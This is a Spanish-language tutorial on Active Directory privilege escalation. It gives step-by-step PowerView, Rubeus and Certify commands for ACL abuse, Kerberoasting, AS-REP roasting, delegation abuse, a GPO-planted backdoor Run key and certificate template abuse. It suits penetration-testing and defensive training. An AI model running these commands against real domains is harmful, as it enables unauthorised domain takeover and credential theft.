Escalada de privilegios en Active Directory

La escalada de privilegios es una fase crítica en el proceso de comprometer un entorno de Active Directory. Permite a un atacante obtener mayores niveles de acceso y control dentro del dominio. A continuación, se detallan algunas de las técnicas más comunes de escalada de privilegios en Active Directory, junto con ejemplos prácticos de explotación.

1. Abuso de Grupos Anidados

Los grupos anidados pueden ocultar relaciones de privilegios que no son evidentes a primera vista. Un atacante puede aprovechar estas relaciones para escalar privilegios.

Ejemplo de explotación:

  1. Enumerar grupos anidados usando PowerView:
Get-DomainGroup -Identity "IT Support" | Get-DomainGroupMember -Recursive
  1. Si se descubre que un usuario es miembro de un grupo que tiene privilegios elevados a través de anidación, el atacante puede abusar de esos privilegios.

2. Abuso de ACLs Mal Configuradas

Las Listas de Control de Acceso (ACLs) mal configuradas pueden permitir a usuarios no privilegiados realizar acciones privilegiadas.

Ejemplo de explotación:

  1. Buscar ACLs interesantes con PowerView:
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {$_.IdentityReferenceName -match "usuario_comprometido"}
  1. Si se encuentra que el usuario comprometido tiene derechos GenericAll sobre otro objeto, puede modificar sus atributos. Por ejemplo, para agregar un usuario a un grupo privilegiado:
Add-DomainGroupMember -Identity "Administradores del dominio" -Members "usuario_comprometido"

3. Kerberoasting

Esta técnica aprovecha las cuentas de servicio con SPNs para obtener tickets TGS que pueden ser crackeados offline.

Ejemplo de explotación:

  1. Enumerar cuentas de servicio con SPNs:
Get-DomainUser -SPN
  1. Solicitar un ticket TGS para una cuenta de servicio:
Request-SPNTicket -SPN "MSSQLSvc/sqlserver.dominio.local:1433"
  1. Extraer el hash del ticket y crackearlo offline con herramientas como Hashcat.

4. AS-REP Roasting

Similar al Kerberoasting, pero aprovecha cuentas que no requieren pre-autenticación Kerberos.

Ejemplo de explotación:

  1. Identificar cuentas vulnerables:
Get-DomainUser -PreauthNotRequired -Verbose
  1. Solicitar AS-REP para estas cuentas:
Get-ASREPHash -UserName vulnerable_user
  1. Crackear el hash offline.

5. Abuso de Delegación sin Restricciones

Los servidores con delegación sin restricciones pueden ser abusados para obtener tickets de usuarios privilegiados.

Ejemplo de explotación:

  1. Identificar servidores con delegación sin restricciones:
Get-DomainComputer -Unconstrained
  1. Comprometer uno de estos servidores y usar Rubeus para capturar tickets:
Rubeus.exe monitor /interval:5 /filteruser:Administrator
  1. Forzar la autenticación del administrador al servidor comprometido (por ejemplo, usando PetitPotam).

  2. Capturar y reutilizar el ticket del administrador.

6. Abuso de GPOs

Las Políticas de Grupo (GPOs) mal configuradas pueden ser abusadas para escalar privilegios.

Ejemplo de explotación:

  1. Enumerar GPOs donde el usuario comprometido tiene derechos de escritura:
Get-DomainGPO | Get-ObjectAcl -ResolveGUIDs | Where-Object {$_.IdentityReference -match "usuario_comprometido"}
  1. Modificar una GPO para ejecutar un script malicioso:
Set-GPPrefRegistryValue -Name "GPO_Vulnerable" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Backdoor" -Value "C:\Windows\System32\cmd.exe /c powershell.exe -enc <payload_encoded>"
  1. Forzar la actualización de la GPO en un equipo objetivo.

7. Abuso de Certificados

El abuso de la Autoridad de Certificación de Active Directory (AD CS) puede llevar a la escalada de privilegios.

Ejemplo de explotación:

  1. Enumerar plantillas de certificados vulnerables:
Get-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=dominio,DC=local" -LDAPFilter '(objectClass=pKICertificateTemplate)' -Properties displayName,msPKI-Certificate-Name-Flag,msPKI-Enrollment-Flag,msPKI-RA-Signature
  1. Solicitar un certificado usando una plantilla vulnerable:
Certify.exe request /ca:ca.dominio.local\CA /template:Vulnerable_Template
  1. Usar el certificado para solicitar un TGT como un usuario privilegiado.

Conclusión

La escalada de privilegios en Active Directory es un proceso complejo que requiere un conocimiento profundo de la infraestructura y sus vulnerabilidades. Los atacantes deben ser creativos y persistentes, aprovechando cualquier mala configuración o debilidad en el diseño del sistema. Por otro lado, los defensores deben estar constantemente atentos, monitoreando y corrigiendo estas vulnerabilidades para prevenir la escalada de privilegios no autorizada.